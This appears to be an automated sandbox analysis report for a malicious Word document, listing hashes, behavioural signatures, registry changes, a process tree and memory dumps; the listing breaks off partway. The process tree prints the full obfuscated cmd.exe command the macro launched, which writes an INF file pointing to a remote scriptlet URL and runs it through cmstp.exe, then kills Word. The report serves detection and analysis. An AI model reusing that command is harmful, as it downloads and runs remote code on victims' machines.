a0111977c79f4eb30511f22055b54e4e973c0501240f3ba462691b1b4999d561

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
16-05-2024 05:46

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General

Target

49a64838968e596db7b80d5cbbe025c4_JaffaCakes118.doc
Size

117KB
MD5

49a64838968e596db7b80d5cbbe025c4
SHA1

5973a9faa1975f80540d7954d24b5936ab2b95d2
SHA256

a0111977c79f4eb30511f22055b54e4e973c0501240f3ba462691b1b4999d561
SHA512

3da1e625f6dd80d6a7f4ffe90be21d1d5b33c1ca85d0bd8a73d1831e629e6be407edf15456d10516ea279673aec2b71e0273a0909d9cc9e0798b40e21c7ec478
SSDEEP

1536:7mouQ4iFSxMT9BRAKg+6m1CEczGpdOWHMTo6jcpq:SQ4iFUMpBRAhqHGop

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2504	740	cmd.exe	30

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE
File opened for modification	C:\Windows\INF\setupapi.app.log	cmstp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Kills process with taskkill 1 IoCs

evasion

pid	Process
2144	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\TypeLib\{A955CDA0-2576-453F-BD63-5358503A5AA2}\2.0\HELPDIR	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A955CDA0-2576-453F-BD63-5358503A5AA2}\2.0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A955CDA0-2576-453F-BD63-5358503A5AA2}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\TypeLib\{A955CDA0-2576-453F-BD63-5358503A5AA2}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\TypeLib\{A955CDA0-2576-453F-BD63-5358503A5AA2}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\TypeLib\{A955CDA0-2576-453F-BD63-5358503A5AA2}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1708	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	taskkill.exe
Token: SeRestorePrivilege	1812	cmstp.exe
Token: SeRestorePrivilege	1812	cmstp.exe
Token: SeRestorePrivilege	1812	cmstp.exe
Token: SeRestorePrivilege	1812	cmstp.exe
Token: SeRestorePrivilege	1812	cmstp.exe
Token: SeRestorePrivilege	1812	cmstp.exe
Token: SeRestorePrivilege	1812	cmstp.exe
Token: SeTakeOwnershipPrivilege	1812	cmstp.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1708	WINWORD.EXE
1708	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 3016	1708	WINWORD.EXE	28
PID 1708 wrote to memory of 3016	1708	WINWORD.EXE	28
PID 1708 wrote to memory of 3016	1708	WINWORD.EXE	28
PID 1708 wrote to memory of 3016	1708	WINWORD.EXE	28
PID 2504 wrote to memory of 1812	2504	cmd.exe	33
PID 2504 wrote to memory of 1812	2504	cmd.exe	33
PID 2504 wrote to memory of 1812	2504	cmd.exe	33
PID 2504 wrote to memory of 2144	2504	cmd.exe	34
PID 2504 wrote to memory of 2144	2504	cmd.exe	34
PID 2504 wrote to memory of 2144	2504	cmd.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\49a64838968e596db7b80d5cbbe025c4_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3016

C:\Windows\system32\cmd.exe
cmd /V /C set "let81=s" && !let81!et "let78=i" && !let81!et "let71=A" && !let81!et "let23=N" && !let81!et "let43=d" && c!let71!ll !let81!et "let28=%!let71!PP!let43!!let71!T!let71!%" && c!let71!ll !let81!et "let66=%R!let71!!let23!!let43!OM%" && !let81!et "let36=!let28!\M!let78!cro!let81!oft\!let66!.txt" && !let81!et "let67="^" && (For %i in ("[ver!let81!ion]" "!let81!ignature=$Wi!let23!dow!let81! NT$" "!let71!dvancedINF=2.5" "[DefaultIn!let81!tall_SingleU!let81!er]" "UnRegi!let81!terOCXs=let57" "[let57]" "%11%\%let73_1%%let73_2%%let73_3%,NI,%let21_1%%let21_2%%let21_3%%let21_4%%let21_5%%let21_6%%let21_7%%let21_8%%let21_9%%let21_10%%let21_11%%let21_12%%let21_13%" "[!let81!tring!let81!]" "let21_1=ht" "let21_2=tp" "let21_3=:/" "let21_4=/t" "let21_5=ra" "let21_6=ns" "let21_7=ef" "let21_8=.b" "let21_9=iz" "let21_10=/f" "let21_11=r." "let21_12=tx" "let21_13=t" "let73_2=rO" "let73_1=sC" "let73_3=bJ" ) do @echo %~i)>"!let36!" && echo !let81!erv!let78!ceName=!let67! !let67!>>!let36! && echo !let81!hortSvcN!let71!me=!let67! !let67!>>!let36! && c!let71!ll !let81!et "let93=%WI!let23!!let43!IR%" && !let81!t!let71!rt "" !let93!\Sy!let81!tem32\cm!let81!tp.exe /s /ns "!let36!" && !let81!t!let71!rt "" /M!let78!N t!let71!skk!let78!ll /F /!let78!M w!let78!nwor!let43!.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Windows\System32\cmstp.exe
  C:\Windows\System32\cmstp.exe /s /ns "C:\Users\Admin\AppData\Roaming\Microsoft\9432.txt"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:1812
- C:\Windows\system32\taskkill.exe
  tAskkill /F /iM winword.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B4684A0F.wmf

Filesize
176B

MD5
ae84943915024b9d6e6d14f9fca34eb7

SHA1
75ce8f36053ec703f93c117c3c717ab770e03464

SHA256
86758697760334c5d5c17986d803717b9fbc1fafe4b17d44e7b1698e5882d64a

SHA512
3864d056a7fd2970973d777b0735273407a40c96173239a6362ddcdff5e89857cc0749b99f5c1197b6081eb35c7ee56a9fcacc7f5524bffaeb63c53242fa2a99

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\9432.txt

Filesize
514B

MD5
7f90b0c4f536defbd03f45e8537fd808

SHA1
25ecbc520887c090f6b7cc145d752e8b366a9f07

SHA256
1a671c60e8cf4ef7396ff571edca9355f9340ece00ecaa6084fb08bbf5a81e79

SHA512
08a5f00a4282fc9b1b37be76797d184c77f77f2a81fe665f23c564b8f12e4db5d96e7bafbf9aa75916954810b02e79df014eb9c949658e41b8f179a727acf4ed

Download Submit
memory/1708-0-0x000000002FDC1000-0x000000002FDC2000-memory.dmp

Filesize
4KB

Download
memory/1708-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1708-2-0x000000007143D000-0x0000000071448000-memory.dmp

Filesize
44KB

Download
memory/1708-7-0x0000000005AA0000-0x0000000005BA0000-memory.dmp

Filesize
1024KB

Download
memory/1708-38-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-60-0x0000000005E90000-0x0000000005F90000-memory.dmp

Filesize
1024KB

Download
memory/1708-61-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-32-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-46-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-33-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-86-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-34-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-35-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-110-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-36-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-134-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-59-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-92-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-133-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-122-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-121-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-120-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-119-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-118-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-117-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-116-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-115-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-114-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-113-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-112-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-111-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-109-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-108-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-97-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-96-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-95-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-94-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-93-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-91-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-90-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-89-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
1024KB

Download
memory/1708-88-0x00000000003D0000-0x00000000004D0000-memory.dmp

Filesize
